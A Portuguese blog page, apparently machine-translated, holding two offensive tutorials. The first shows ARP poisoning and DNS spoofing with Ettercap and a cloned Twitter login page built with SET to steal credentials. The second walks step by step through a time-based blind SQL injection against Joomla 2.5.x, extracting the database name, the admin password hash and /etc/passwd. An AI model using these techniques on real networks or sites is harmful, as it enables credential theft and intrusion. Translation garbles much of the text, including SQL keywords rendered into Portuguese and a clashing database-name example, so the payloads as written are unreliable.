quarta-feira, 21 de março de 2012

Usando Ettercap

Usando Ettercap (Parte I de III)


Hoje vamos falar do ettercap, muito poderoso e extremamente eficaz.
Para fazer os testes vamos usar duas máquinas virtuais, uma com Backtrack e um com Windows XP. Máquina do atacante e da vítima.
Para começar, vamos encontrar e editar o arquivo  etter.dns . Neste exemplo, editar o arquivo de pedidos de DNS para twitter.com de volta o nosso ip e não o twitter servidor real.
O próximo passo é realizar diretamente a MITM ataque incluindo Plugin dns_spoof. O Tq-simplesmente indica como visualizar os dados na tela-i para especificar a interface de usar,-M arp para envenenar tabelas ARP e, finalmente, / / ​​/ / indicar que as equipes querem tabelas modificarles arp. Se atacar apenas a um computador ou um intervalo entre os dois primeiros / / poderia escrever o intervalo IP ou específica eo mesmo para o caso do router mas os segunas / /. Se o ataque significa transportado através da rede é suficiente para o fazer, como mostrado na imagem.
Para verificar se você ter envenenado as tabelas ARP corretamente, vamos para a nossa máquina da vítima no prompt de comando e digite "arp-a".
A primeira visita foi feita para as tabelas antes de executar ettercap e, portanto, a equipe atacante eo roteador tem MACs diferentes. Na segunda consulta o router ea máquina com Backtrack tem o mesmo endereço físico para que o envenenamento foi feito corretamente.
Na próxima semana vamos ver como usar o dns_spoof plugin de dar graças a respostas falsas de DNS, furtar dados ou ganhar o controle sobre a outra equipe.



Usando Ettercap (parte 2 de 3)



Muito bom! Hoje vamos explicar uma das muitas formas que podemos usar o plugin paródia dns. Especificamente, usar SET (Social Motor Toolkit), a clonagem do site do Twitter e roubar as credenciais.
Para começar, abra uma nova janela de terminal e executar SET.
"CD / pentest / exploits / Que"
". / Set"
Supondo que temos o aplicativo atualizado, escolha a segunda opção, ataques web.
Neste segundo menu, podemos escolher entre uma vasta gama de opções, pessoalmente eu costumo usar o método de ataque Multi-Web, uma vez que dá jogo tanto, mas desta vez a opção escolhida é 3, Ataque de credenciais.
Agora, basta entrar na web deve ser clonado, em nosso twitter caso. (Lembre-se de verificar a web e dns ip em etter.dns nosso arquivo, como vimos no primeiro artigo).
Uma vez introduzida, só vai esperar para qualquer computador na rede faz a solicitação twitter.com dns e nossa máquina irá responder com um IP falso ao invés do servidor legítimo.
Lembre-se que se o computador cliente tem em cache do dns efeito informações de consulta não irá surgir, então eu recomendo fazer os testes, Chache apagar dns "ipconfig / flushdns" e dados do navegador, apenas no caso.
Na mais recente edição do ettercap, tente a opção de aplicar filtros para modificar os pacotes. Alterando imagens, palavras, redirecionamentos, etc.
Dito isso, divirta-se!
Fonte:http://www.flu-project.com/

Exploit para Joomla passo a passo

TERÇA-FEIRA MARÇO 20, 2012

Exploit para Joomla passo a passo

Neste post vou tentar explicar como fazer um passo a passo para explorar Joomla 2.5.0-2.5.1 ou 1.7.0-1.7.5 , a maneira mais fácil possível e explicar os conceitos básicos de SQL injeções e qualquer um pouco mais avançada, uma vez que neste caso é baseado no tempo de ataque.

Para este exercício deve idealmente montéis uma versão Joomla 2.5.1 por padrão em seu sistema e você pode acessar localmente para ir pela prova.

Até o momento não há nenhum exploit para esta decisão de 29 de fevereiro , embora a vulnerabilidade é conhecida graças à nota de Colin Wong .

O que me deixou completamente KO, como uma vulnerabilidade é tão gordo e estúpido, foi escalado para o código. Fiquei espantado que não tenha sido descoberto antes, inferno, se assim for Acunetix, é detectado.

O primeiro passo é descobrir onde o erro comparando o código da versão vulnerável: 2.5.0 ou 2.5.1, a versão que resolve que: 2.5.2 . 

Ambos os arquivos são baixados e descompactados para ver as linhas que foram alteradas.Felizmente não há muito e é muito fácil ver as linhas que são afetados por injeção de SQL com um único comando " diff "(linha 8)


Go! Nas duas últimas linhas do diff é que a variável "$ atual" na nova versão é chamado usando $ db-> quote () e não diretamente. Suspeito ;).

O seguinte é tentar descobrir que quando esse código é executado para descobrir onde você tem que injetar código SQL e quão longe ele pode ir.

Toque rever o arquivo onde está essa linha:  j-2.5.1/plugins/system/redirect/redirect.php


Apenas a cabeça pode ver que é um componente central do Joomla que é acusado de redirecionamentos  e vendo o painel de administração, você ter uma idéia rápida do que a função faz este plugin.


Basicamente permite redirecionamentos quando você solicita uma página web que não existe.Gerenciando e evitando os erros que um visitante chega a uma página web mortos.

Agora, para ler o arquivo de código em detalhes e lentamente. , Pelo menos, o mais crítico:


Além do primeiro comentário (deve ver agora quem é o idiota). O código mostra que a instrução SQL vulnerável (linha 24) é chamado quando não há permanente redireccionar publicado e criado para o página (o se a linha 18). Isto é, se tal for solicitado URL: http://localhost/joomla/index.php/AAAAA e CMS administrador não tiver criado um redirecionamento para esta página mostrará um 404 padrão do Joomla.

O próximo passo que a aplicação (da linha 26 a 45) é adicionar o URL para o banco de dados para que o administrador pode ver quais as páginas que foram solicitadas e não, mas esta parte é indistinta, uma vez que a injeção foi gerado antes e é, portanto, irrelevante.

Então, como é explorada ? Bem, só tem que chamar uma página do tipo: união http://localhost/joomla/index.php/AAAAAA 'select ... eo código que você deseja inserir. Eu sei que parece impossível que um produto tão popular e com esta maturidade ainda tem um sql injection tão estúpido .

"O problema" para fazer uso de vulnerabilidade é o resultado da injeção não é mostrado na tela, ou erros ou resultados positivos / negativos e obter algo útil é um pouco mais complexa, uma vez que a sentença é usado internamente pelo vulneráveis a aplicação e não para gerar a página resultante.

Existe apenas uma alternativa é baseada no tempo injectáveis. Isto é, se a página de solicitação inexistente leva 1 segundo para responder normalmente causam leva 10 como resultado da injecção.

O exemplo mais simples de detectar esta vulnerabilidade é para chamar a página da seguinte forma: http://localhost/joomla/index.php/AAAAAA união "select sono (10) união select '1  e observa que leva 10 segundos para retornar página como a instrução SQL vulnerável estará esperando 10 segundos e impedindo a execução normal seria retornar a página normalmente em 1 a 2 segundos. 

A implementação do banco de dados e conclusão da frase que é obtido a partir da linha 24 com os parâmetros que foram passados, é como se segue:

select id FROM tabela WHERE old_url = 'http://localhost/joomla/index.php/AAAAAA união "select sono (15) união select '1 '

Agora somos obrigados a estudar as funções do MySQL e veja como usar esse comportamento para extrair dados. O mais importante:
  • banco de dados () : retorna o nome do banco de dados: selecione banco de dados ()
  • sleep () : realiza um período de tempo: sono select (10)
  • length () : retorna o comprimento de uma string: selecione comprimento (banco de dados ()) 
  • ascii () : retorna o valor ascii de uma string: selecione ASCII ("A")
  • substring () ou médio (): corta uma string: select meados (banco de dados (), 1,1)
  • LOAD_FILE () : retorna o conteúdo de um arquivo: LOAD_FILE select ("/ etc / hosts")
  • ord () : retorna o valor de código se multibyte ou ascii: select ord ("2")
  • if () : permite que os valores de retorno com base nos resultados de outras pesquisas:selecionar se (banco de dados () = "Olá", "sim" "não") , neste caso, "não", e chamado "joomla" e No "Olá"
Combinando essas funções, pode chegar ao objetivo final. Por exemplo, no meu banco de dados chamado "drupal"
  1. selecionar substring (banco de dados (), 1,1) retorna o primeiro caractere de "joomla", ou seja, o "j".
  2. select ascii (substring (banco de dados (), 1,1))  retorna o primeiro caractere do nome "joomla", "j" e depois convertido para seu ascii decimal: 106
  3. select ascii (substring (banco de dados (), 2,1))  retorna o segundo personagem de "joomla", "o" e depois convertido para seu ascii decimal: 111
  4. selecione if (banco de dados () = "joomla", "sim", "não")  verifica se o resultado do banco de dados () é "joomla" em caso de retornos corretos "sim", não deve ser assim voltei "não".
  5. selecionar se ( ascii (substring (banco de dados (), 2,1)) = 106, o sono (10), null)  verificar o caráter ascii decimal do primeiro banco de dados (), "106" é igual a 106, se isso, execute um sono de 10 segundos e se não, nada é retornado.
O melhor, vê-lo em operação diretamente no MySQL


Então, depois disso é só automatizar todo o processo do Exemplo 5 para percorrer as strings com substring () e comparar com a tabela ASCII, calculando quanto tempo leva para a web para responder, 10 segundos ou apenas 1 ou 2. Com essas solicitações vai ver o primeiro caractere de "banco de dados" (), selecione se ascii (substring (banco de dados (), 1,1)) = , o sono (10), null)selecionar se ascii (substring (banco de dados (), 1 , 1)) = do sono, (10), null) se seleccionar (ascii (substring (banco de dados (), 1,1)) = , o sono (10), null) ...






selecionar se ascii (banco de dados substring ((), 1,1)) = 105 sono, (10), null) 
selecionar se ascii (substring (banco de dados (), 1,1)) = 106 , o sono (10), null)     <- isso irá executar o sono, porque o ascii de "j" é de 106 e a condição for atendida. Uma vez detectada a demora de 10 segundos é passado para o próximo personagem, mudando a substring: selecione se (ascii (substring (banco de dados (), , 1)) = 1 sono (10), null) se seleccionar ascii (substring (banco de dados (), , 1)) = 2, o sono (10), null) selecionar se ascii (banco de dados substring ((), , 1)) = 3, o sono (10), null) ...









Um par de aninhamento de loops e de tempo de cálculo pode tornar o resultado de qualquer consulta sql. Por exemplo:  select table_name de INFORMATION_SCHEMA.TABLES ONDE table_schema = "joomla" e table_name como "_users%" dá o nome da tabela onde você armazena seus usuários:  selecione senha zzzz_users limite de 1 , o hash da senha usuário administrador.

Se o usuário se conecta ao banco de dados tem privilégios suficientes, você também pode executarLOAD_FILE () , o upload de um sistema de arquivos, que eu, por exemplo, o arquivo / etc / passwd

O exploit tem apenas para automatizar esse processo, talvez até desenvolveu uma ferramenta e pode ser configurado para essa finalidade. A operação, incluindo os pedidos têm esse fluxo:
  1. Você começa a data do sistema
  2. Solicitação HTTP GET é feito com o cheque, por exemplo: http://localhost/joomla/index.php/AAAAAA sindicato  selecionar se ascii (substring (banco de dados (), , 1)) = 1 sono (10) , null) união select '1
  3. Ele se vira para obter a data do sistema
  4. Se a diferença de tempo entre o ponto 1 e 3 é de 10 segundos, é que a condição do se-met, pelo que é conhecido valor ASCII adequada. 
Bem é isso, você só tem que otimizar e jogue sobre as linhas de código que fazem o trabalho sujo.

A optimização é encontrar o mais curto possível de tempo limite, a redução dos 10 segundos têm sido utilizados em todo o artigo para uma parte inferior que não gera falsos alarmes. Outra melhoria é fazer pedidos tantos web, evitando viagens ao redor da mesa para o caractere ASCII válido. Para certas decisões, como banco de dados (), basta verificar a partir de decimal 32 para 90.

O complexo, passado um pouco mais é ser consulta com ord () e E para encontrar os bits que compõem cada byte. Com apenas 8 pedidos verá o código ascii, mas se estima que metade dos pedidos irá resultar em um sleep () pode levar mais tempo para fazer até 60 pedidos que atravessam a própria tabela, que requer apenas um único sleep ().